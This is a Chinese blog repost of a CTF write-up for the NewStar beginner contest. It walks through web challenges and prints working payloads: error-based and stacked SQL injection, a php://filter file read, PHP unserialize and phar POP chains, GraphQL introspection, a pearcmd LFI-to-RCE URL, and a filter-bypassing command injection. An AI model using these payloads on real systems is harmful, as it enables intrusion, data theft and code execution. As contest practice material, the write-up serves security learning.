返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >萌新赛(NewStar)
  • 405
分享到

萌新赛(NewStar)

php 2023-10-26 11:10:19 405人浏览 八月长安
摘要

如有侵权,请联系我,立即删除。  最近的这个“萌新”,赛感觉很有必要记录一下。 目录 Word-For-You(2 Gen)  IncludeOne UnserializeOne ezAPI 第三周 multiSQL IncludeTwo

如有侵权,请联系我,立即删除。 

最近的这个“萌新”,赛感觉很有必要记录一下。

目录

Word-For-You(2 Gen)

 IncludeOne

UnserializeOne

ezAPI

第三周

multiSQL

IncludeTwo

$_SERVER['argv']#是通过+作为分隔符的


Word-For-You(2 Gen)

第一周的时候就是一个万能密码,这是第二周有了一点的提示,当时我困在这里尝试了很多闭合的方式 '  "等等,也是报错注入用到的不是特别的多,所以每次都不能快速的用到。

1' or updatexml(1,concat(0x7e,database()),1) # 

当时也是做到这里了,但是

 这里有东西被挡住了,我以为是一些报错所以就没太留意,唉

 这不就爆出来数据库

1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from infORMation_schema.tables where table_schema=database())),1)#

查询到了四个数据库表,猜一下是不是wfy_admin 

1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="wfy_admin")),1)#

 1' or updatexml(1,concat(0x7e,(select group_concat(username,password) from wfy_admin)),1)#

 说明数据库表不正确,换个表继续

最后没记错flag好像在 wfy_comments 这个表里的text下

 1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="wfy_comments")),1)#

最终在text字段

1' or updatexml(1,concat(0x7e,(select group_concat(text) from wfy_comments)),1)#

 感觉是限制了长度,后面应该还有东西,没准flag就在最后 所以我们倒序一下

1' or updatexml(1,concat(0x7e,(select reverse(group_concat(text)) from wfy_comments)),1)#

 猜测正确,果然是输出长度进行了限制我们在对这个字符串进行求反操作就可

s='}sr0rre_emos_ek2m_t4uJ{galf'print(s[::-1])

 IncludeOne

if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){    if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){        //flag in `flag.PHP`        include($_GET['file']);

 这道题相对比较简单,就是点一下就过了,首先是随机种子会有一定的顺序

然后这里禁了base,并且正则要求命令中必须含有NewStar,

?file=php://filter/NewStar/read=string.rot13/resource=flag.php

 这里Newstar没起到任何的作用,然后将flag.php中的数据进行了,rot13编码,最后解码就可

UnserializeOne

name;    }    public function __isset($var)    {        ($this->func)();    }}class Sec{    private $obj;    private $var;    public function __toString()    {        $this->obj->check($this->var);        return "CTFers";    }    public function __invoke()    {        echo file_get_contents('/flag');    }}class Easy{    public $cla;    public function __call($fun, $var)    {        $this->cla = clone $var[0];    }}class eeee{    public $obj;    public function __clone()    {        if(isset($this->obj->cmd)){            echo "success";        }    }}if(isset($_POST['pop'])){    unserialize($_POST['pop']);}

pop链的题目,首先我们先定链尾

  public function __invoke()
    {
        echo file_get_contents('/flag');
    }看到这里读取/flag,然后往上面找触发invoke

public function __isset($var)
    {
        ($this->func)();
    }

  public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }

class Easy{
    public $cla;

    public function __call($fun, $var)
    {
        $this->cla = clone $var[0];
    }
}

然后看到tostring  , destruct 

直接写出

Start::destruct-->Sec::-->toString-->Easy::call-->eeee::clone-->Start::isset-->Sec::invoke

name=$s1;$s1->obj= $E;$s1->var=$e1;$e1->obj=$S1;$S1->func=$s2;echo (serialize($S));

这里虽然有protected定义的私有变量,在php 7.1+可以换成 public,

public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }

public function __call($fun, $var)
    {
        $this->cla = clone $var[0];
    }

这要是在这卡了我一会,this->obj 等于 call的类,然后this-var也需要在上面的类赋值,因为下面的形参有两个,this->var的类就是call触发下面的类

ezapi

qsdz开发了一个查询网页,但是好像存在一些漏洞?

这里看了师傅的wp才知道是graphql,第一次接触

graphQL常见的是这种形式以后碰见就可以用到

一般考察的是,内省查询,就是本来只应该内部进行访问,但配置错误导致攻击者可以获得这些消息。

内省查询的数据为

{"query":"\n    query IntrospectionQuery {\r\n      __schema {\r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  ","variables":null}

 这样就会返回所有API端点的所有信息

玩转graphQL

 array(            'method' => 'POST',            'header' => 'Content-type: application/json',            'content' => $data,            'timeout' => 10 * 60        )    );    $context = stream_context_create($options);    $result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);    return $result;}if(isset($id)){    if(waf($id)){        isset($_POST['data']) ? $data=$_POST['data'] : $data='{"query":"query{\nusers_user_by_pk(id:'.$id.') {\nname\n}\n}\n", "variables":null}';        $res = json_decode(send($data));        if($res->data->users_user_by_pk->name !== NULL){            echo "ID: ".$id."
Name: ".$res->data->users_user_by_pk->name; }else{ echo "Can't found it!
DEBUG: "; var_dump($res->data); } }else{ die("Hacker!"); }}else{ die("No Data?");}?>

这里发现post传入的data是可控的,所以可以是内省查询的注入点 

 这里找到了一个flag的接口,可是怎末读它呢

看到源码给出了这一条命令,那我们进行模仿一下

$data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}'

 读取成功flag的接口,获得flag!

第三周

 第三周WEB

multisql

第三周打开以后,感觉难了好多好多

听说火华师傅四级又挂掉了,他不好给他的英语老师交代,你能帮他改改成绩通过学校的验证嘛~

题目给了人名火华

425通过,可是加起来是424

当时我的思路,就是进行update直接更新,然后堆叠注入查出来表名         

首先试出来闭合方式,只有'单引号的返回结果不一样

         

 

然后使用update发现被过滤掉了!!!

尝试了绕过方式过不去,然后就想想想如果用insert插入一条记录是不是也可以

呃呃呃,insert也被过滤了

只能百度搜索,replace  into table (id,name) values('1','aa'),('2','bb') 

发现这个也是插入的语句

1';replace into score values ("火华",50,200,200);)

然后命令框输入火华查询记录,

 有了两条记录,这时候删除第一条不就可以了吗

1';delete from score where listen=11;

 点击上面获得flag

IncludeTwo

shell? RCE via LFI if you get some trick,this question will be so easy!if(!preg_match("/base64|rot13|filter/i",$_GET['file']) && isset($_GET['file'])){    include($_GET['file'].".php");}else{    die("Hacker!");} Hacker!

最近一直遇到这样的题,可是一般的通过base64加密就可以绕过了,可是这道题不行呀、

这道题最后放出了提示pear到getshell

没见过,那就了解一下

include $_GET['f'].php)这个是pear的标志模板

简单来说就是利用这个文件中的pear命令行,其中有个可利用参数config-create,这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中。

然后配置信息的reGISterarGCargv必须是开启的状态

$_SERVER['argv']#是通过+作为分隔符的

/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd&/+/tmp/hello.php

直接解释代码了,这里的file=后面的路径,是pearcmd的默认路径,因为include 后面有个.php,所以/usr/local/lib/php/pearcmd.php,去掉了php ,前后就是固定的格式

然后最好再burp更改,在浏览器更改<>会自动解码可能导致运行不成功

最后获得flag

参考文章:

register_argc_argv与include to RCE的巧妙组合 - Longlone's Bloghttps://www.cnblogs.com/iwantflag/p/15602747.html这篇博客写的。具体原理就是利用pearcmd.php来实现文件包含

week 4 

So Baby RCE

ail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){       echo "Don't Hack Me";    }else{        system($_GET["cmd"]);    }}else{    show_source(__FILE__);}

打开界面好家伙,所以的读取命令,同或异或都没了,这我咋玩

说明肯定有一个特殊的点,

直接用

?cmd=cd${IFS}..${IFS}%26%26${IFS}cd${IFS}..%26%26${IFS}cd${IFS}..%26%26rev${IFS}fff?llllaaaaggggg

cd .. && cd .. 往上一句读取目录,ls

 用rev倒序读取,sort可以正序读取,获得flag

UnserializeThree 

 题目提示,rce 上传文件 反序列化 三重碰撞结合

其实看到前两者,很容易想到phar上传文件,所以我们现在的重点是,找到另外一个文件含有pop链的

常规手段:看源码 F12 扫目录

 直接访问,

|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){            //Same point ,can you bypass me again?            eval("#".$this->cmd);        }else{            echo "No!";        }    }}file_exists($_GET['file']);

eval("#".$this->cmd); 构造链很好构造,现在的难点是如何绕过#把它给注释了,不能影响后面的内容,用filter伪协议rot13,不知道flag的文件名果断排除

以前都是运用闭合php绕过,但是这道题明显禁用了,可是也给出了一个提示

urldecode("0a")  和它差不多一样的还有一个urldecode("0d")回车,试了一下也是可以的

cmd=urldecode("%0d")."system('cat f*');";$phar = new Phar('ee.phar');$phar->startBuffering();$phar->setStub('GIF89a'.'');$phar->setMetadata($a);$phar->addFromString('test.txt', 'test');$phar->stopBuffering();?>

然后上传就可以了。

来源地址:https://blog.csdn.net/qq_62046696/article/details/127154063

--结束END--

本文标题: 萌新赛(NewStar)

本文链接: https://lsjlt.com/news/458477.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • 萌新赛(NewStar)
    如有侵权,请联系我,立即删除。  最近的这个“萌新”,赛感觉很有必要记录一下。 目录 Word-For-You(2 Gen)  IncludeOne UnserializeOne ezAPI 第三周 multiSQL IncludeTwo ...
    99+
    2023-10-26
    php
  • 萌新Android笔记----IntentFilter匹配篇
    开个头 101要从黄铜调回黑铁了,太难了呀,都怪匹配给到的队友天天拉胯。。。(上单头铁盖伦打wn)。。Android的匹配机制也是给萌新当头一棒...
    99+
    2022-06-06
    Android
  • [ACTF2020 新生赛]Include1
    题目:[ACTF2020 新生赛]Include1 题目来源:buuctf 过程分析: 1、首先看到一个tips,我们打开看看 然后从题目我们知道这个是一个文件包含题,对文件进行php伪协议检测 伪协议 php://input...
    99+
    2023-09-03
    开发语言 vscode
  • [ACTF2020 新生赛]BackupFile
    目录 信息收集 思路 构造payload 知识补充 信息收集 从题目来看应该是让扫描备份文件(backupfile)  进入页面就一句话 Try to find out source file! 先用dirbuster模糊扫描一...
    99+
    2023-09-21
    php web安全 网络安全
  • SWPUCTF 2021 新生赛
    😋大家好,我是YAy_17,是一枚爱好网安的小白,自学ing。  本人水平有限,欢迎各位大佬指点,一起学习💗,一起进步⭐️。 ⭐️此后如竟没有炬火,我便是唯一的光。⭐️ 目录 gift_F12 j...
    99+
    2023-09-25
    php web安全 学习 网络安全 安全
  • Linux装Windows系统,萌新必备攻略
         现如今电脑越来越普及,几乎人手一台电脑,但依然有很多人不知道怎么为荣耀MagicBook电脑重装系统。电脑出现问题,还要去电脑店花钱找人帮忙重装系统。其实电脑重装系统非常简单,借助U盘就能轻松重装系统。那么下面我就以Linux装W...
    99+
    2021-01-20
    Linux装Windows系统,萌新必备攻略
  • 萌新Android笔记----Activity的启动模式
    Activity的启动模式 2020 3 18,天气晴,是个巩固基础摸鱼的好日子,于是萌新兴冲冲写个二次元老婆能来回显示的app,但发现越运行越...
    99+
    2022-06-06
    启动 activity Android
  • XSCTF联合招新赛-热身赛(部分WP)
    由于没有多少时间答题,抽空在划水的时候做了一两道题目.比赛已经结束了24小时了。特把写的WP分享一下,欢迎各位大佬进行指点。 文章目录 warm_up头头是道B45364EZphpeas...
    99+
    2023-09-05
    php 开发语言
  • [SWPUCTF 2021 新生赛]easyupload1.0
    看到这个你先上个一句话木马以图片的方式去上传 首先你得知道我们的目的是什么 取值flag 。这边我们看到成功上传 看的不是很仔细 bure 找...
    99+
    2023-08-31
    php 开发语言 Powered by 金山文档
  • [SWPUCTF 2021 新生赛]PseudoProtocols
    [SWPUCTF 2021 新生赛]PseudoProtocols 一、题目 二、WP 1、打开题目,发现提示我们是否能找到hint.php,并且发现URL有参数wllm。所以我们尝试利用PHP伪协...
    99+
    2023-10-01
    php web安全
  • [SWPUCTF 2021 新生赛]hardrce_3
    打开环境,审计代码。 逻辑本身不是很复杂,就是不准异或取反,且不能有字母数字,所以考虑用自增。 payload: //测试发现7.0.12以上版本不可使用//使用时需要url编码下$_=[];$_=@"$_";$_=$_['!'=='@'...
    99+
    2023-09-30
    php 开发语言 web安全
  • [ACTF2020 新生赛]Upload 1
    打开链接,发现一个小灯泡,鼠标放上去会显示内容 这是一个文件上传题,当上传php等文件时,会提示: 使用burp suite抓包绕过,发现php、php3、php4、php5等都不...
    99+
    2023-09-05
    php 服务器 前端
  • [SWPUCTF 2021 新生赛]easy_md5
    md5绕过 弱类型比较 由于php中存在==的弱类型比较,所以我们可以通过hash比较的缺陷去绕过 比如: var_dump("0e12345"=="0e66666");//truevar_dump(...
    99+
    2023-10-11
    php 安全 开发语言
  • python萌新爬虫学习笔记【建议收藏】
    文章目录 1. 如何何请求解析url2. 如何获取标签里面的文本3. 如何解析JSON格式4. 如何添加常用的header5. 如何合并两个div6. 如何删除html dom的部分结构7. ...
    99+
    2023-09-20
    python 爬虫 学习
  • [SWPUCTF 2021 新生赛]babyrce(详解)
    提示:没有提示 文章目录 前言一、pandas是什么?二、使用步骤 1.引入库2.读入数据总结 前言 最近遇到的事太霉了,又是做到一半,靶机拒绝连接我,搞得我做题都不自信了 回到正文 题目 如下(示例):  小...
    99+
    2023-10-10
    php web
  • 最新版win10 Build 10120海量截图:安装就卖萌
    之前只有一张图看得是不是很不过瘾?neowin刚刚拿到了最新的Windows 10 Build 101200,并放出了大量截图。 Windows 10的开发现在已经进入稳定阶段,以修复Bug、完善细节为主,所以不要指望新...
    99+
    2023-06-15
    win10 Build 10120 海量
  • SWPUCTF 2022新生赛 web部分wp
    😋大家好,我是YAy_17,是一枚爱好网安的小白。 本人水平有限,欢迎各位大佬指点,一起学习💗,一起进步⭐️。⭐️此后如竟没有炬火,我便是唯一的光。⭐️ 目录 [SWPUCTF 2022 新生赛]ez_ez...
    99+
    2023-09-06
    前端 php 服务器 学习 安全
  • CTF笔记 [SWPUCTF 2021 新生赛]pop
    文章目录 一些常见魔术方法[SWPUCTF 2021 新生赛]pop总结 这一类题目比较考验对一段代码的逻辑方面的理解,通过利用魔数方法进行互相调用,形成一条链子,利用这条链子将对象...
    99+
    2023-09-04
    php 开发语言
  • 【BUUCTF刷题记录】[ACTF2020新生赛]Exec
    打开靶场,看到一个输入框,标题已经提示是command execution。 1. 首先输入111|ls 发现文件index.php   2. 打开文件index.php,构造payload:111|cat index.php,右击查看网...
    99+
    2023-09-13
    php 开发语言 web安全
  • [SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ①
    [SWPUCTF] 2021 新生赛(NSSCTF刷题记录wp) [SWPUCTF 2021 新生赛]gift_F12[第五空间 2021]签到题[SWPUCTF 2021 新生赛]jicao...
    99+
    2023-08-31
    NSSCTF 刷题记录wp FLAG Web PHP
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作